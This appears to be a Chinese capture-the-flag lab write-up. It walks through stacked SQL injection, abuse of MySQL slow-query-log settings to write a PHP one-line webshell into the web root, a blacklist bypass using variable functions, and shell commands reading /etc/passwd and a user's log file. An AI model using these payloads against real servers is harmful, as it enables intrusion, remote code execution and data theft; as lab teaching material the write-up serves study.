考点:目录扫描,SQL堆叠注入,慢查询日志写 webshell,fuzz黑名单绕过,Linux 命令
点击靶机。

猜测是SQL注入,先用dirsearch进行目录扫描,发现robots.txt文件。


访问config.php 是空白,先放在一边,再访问**/helpyou2findflag.php**。

先放到一边,接下来我们用fuzz测试SQL注入有哪些被过滤了。

可以发现select、单双引号、括号、分号、set、show、variables、等都没有过滤。

测试是数字型注入还是字符型注入。


可以判断是数字型注入,因为我们输入的1被执行了,而不是被当做字符串。
所以在后台,实际语句是这样的:
sql
SELECT * FROM 表名 WHERE id = (1);
如果我们要将前面的括号闭合,就需要主动加一个括号。
比如:
sql
1);你自己的SQL语句-- +
这就是SQL注入中的堆叠注入。
堆叠 = 一条接一条,堆在一起执行。
但堆叠注入 因为有分号 ;你可以执行任意多条 SQL 语句,想写什么写什么。
MySQL 有个功能叫 慢查询日志(slow query log)。
作用是,把执行时间特别长的 SQL 语句,记录到一个文件里,方便 DBA(数据库管理员)排查哪些 SQL 太慢了需要优化。
几个关键变量如下:
| 变量名 | 作用 |
|---|---|
slow_query_log |
开关,ON = 开启,OFF = 关闭 |
slow_query_log_file |
日志文件保存的路径 |
long_query_time |
超过多少秒就算 "慢查询",默认 10 秒 |
我们先查看 MySQL 中所有名字包含 slow_query_log 的变量。
sql
1);show variables like '%slow_query_log%';-- +
show variables like 'xxx'是 MySQL 查看系统变量的固定语法。
% 是通配符,%slow_query_log% 表示 "名字里只要包含 slow_query_log 就行"。

sql
slow_query_log | OFF → 慢查询日志目前是关闭的
slow_query_log_file | /var/lib/mysql/xxx-slow.log → 日志文件默认在 MySQL 目录下
所以我们开启慢查询日志。
sql
1);set global slow_query_log=1;-- +
set global→ 修改全局变量(global 表示全局生效)slow_query_log=1→ 把慢查询日志开关设为 1(= 开启)

修改日志文件路径。
sql
1);set global slow_query_log_file='/var/www/html/helpyou2findflag.php';-- +
set global slow_query_log_file=→ 修改慢查询日志文件的路径'/var/www/html/helpyou2findflag.php'→ 新的路径
所以,之后所有 "慢查询" 的 SQL 语句,都会被写进 helpyou2findflag.php 这个文件里。 而这个文件在网站目录下,我们可以通过浏览器访问。
要让所有查询都被记录,需要修改 long_query_time。
正常情况下,要触发慢查询日志, SQL 执行时间必须超过 long_query_time(默认 10 秒)。 最简单的方法就是 SELECT sleep(11);,让 SQL 睡 11 秒,肯定超过 10 秒,就会被记录。
而 sleep 在fuzz黑名单中,被过滤了,用不了。
但是慢查询日志只会记录超过 long_query_time 时间的查询语句,因此要在写入 webshell 的 sql 语句中超过执行耗时命令,由于 union 和 sleep 都被过滤所以需要一定的绕过技巧,最简单的方式应该是修改 long_query_time 的值。
既然 sleep 不能用,那我就把 "慢" 的标准改得极低极低,低到随便一条查询都算 "慢查询"。
sql
1);set global long_query_time=0.000001;-- +

验证一下改成功了没。
sql
1);show variables like 'long_query_time';-- +

之后需要写入 webshell,也就是一句话木马。
最简单的 PHP 一句话木马:
php
<?php eval($_REQUEST['a']($_REQUEST['b']));?>
我们通过 URL 传参数 a 和 b,它就会执行 a(b)。 比如传 a=system&b=ls,就会执行 system('ls'),列出服务器上的文件。
但在fuzz 黑名单可知一句话木马中常见的关键词被过滤了,绕过一下。
php
<?php $_REQUEST[a]($_REQUEST[b])?>
这叫可变函数。
$_REQUEST[a]取出参数 a 的值,比如是system- 然后
($_REQUEST[b])就是调用这个函数,参数是 b 的值
相当于:
php
system('ls');

php
/helpyou2findflag.php?a=system&b=ls
可以访问到webshell

接下来就是找flag,在配置文件里查看用户,发现有rainbow用户。
php
/helpyou2findflag.php?a=system&b=awk -F':' '{ print $1}' /etc/passwd
| 写法 | 功能 |
|---|---|
awk |
文本处理工具 |
-F |
指定 "按什么符号切分列" |
':' |
用冒号当分隔符 |
'...' |
单引号包起来,防止 shell 解析 |
{ |
awk 代码块开始 |
print |
打印 / 输出 |
$1 |
第 1 列 |
} |
awk 代码块结束 |
/etc/passwd |
要处理的文件 |

查看家目录发现有ssh.log。
php
/helpyou2findflag.php?a=system&b=ls%20/home/rainbow

flag就在其中。
php
/helpyou2findflag.php?a=system&b=cat%20/home/rainbow/ssh.log
